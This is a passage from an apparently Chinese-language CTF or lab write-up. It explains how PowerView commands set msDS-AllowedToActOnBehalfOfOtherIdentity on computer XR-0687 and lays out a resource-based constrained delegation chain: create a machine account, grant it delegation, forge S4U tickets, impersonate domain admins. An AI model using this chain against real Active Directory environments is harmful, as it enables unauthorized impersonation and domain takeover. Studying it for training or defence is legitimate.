    • 这个 ACE 指定了 SID = S-1-5-21-3745972894-1678056601-2622918667-1147 的主体可以代替目标对象来请求服务票据。

  3. Get-DomainComputer XR-0687

    • 取出名为 XR-0687 的计算机对象。

  4. Set-DomainObject

    • 把刚才构造好的 msDS-AllowedToActOnBehalfOfOtherIdentity 写到 XR-0687 的 AD 属性里。


🎯 作用总结

👉 这段脚本的作用是:
修改了目标计算机对象 XR-0687msDS-AllowedToActOnBehalfOfOtherIdentity 属性,使得 SID 为 ...-1147 的账号有权利“代表 XR-0687”去请求 Kerberos 票据。

换句话说:

  • 你赋予了 SID=...1147(比如你前面新建的 01$ 计算机账号)的“委派权限”。

  • 这样一来,你可以用 01$ 这个低权限机器账号,冒充其他高权限用户(比如域管),去访问 XR-0687 上的服务。


⚡ 在攻击链里的位置

  1. impacket-addcomputer 创建一个新机器账号(01$)。

  2. 修改域内某台机器(这里是 XR-0687)的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,把 01$ 加进去。

  3. 利用 RBCD:用 01$ 申请服务票据 (S4U2Self + S4U2Proxy),冒充任意用户(甚至域管),访问 XR-0687

  4. 拿下 XR-0687 → 横向/提权到域控。


一句话总结
你这条命令是在做 资源约束委派攻击的关键一步
赋予新建的机器账号(或其他 SID 对象)“代表 XR-0687 行动”的权限,从而能用它伪造 Kerberos 票据,冒充域内任意用户。


参考文章:

https://fushuling.com/index.php/2023/09/17/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83%C2%B7%E7%BD%91%E9%BC%8E%E6%9D%AF%E5%8D%8A%E5%86%B3%E8%B5%9B%E6%B2%A1%E6%89%93%E5%AE%8C/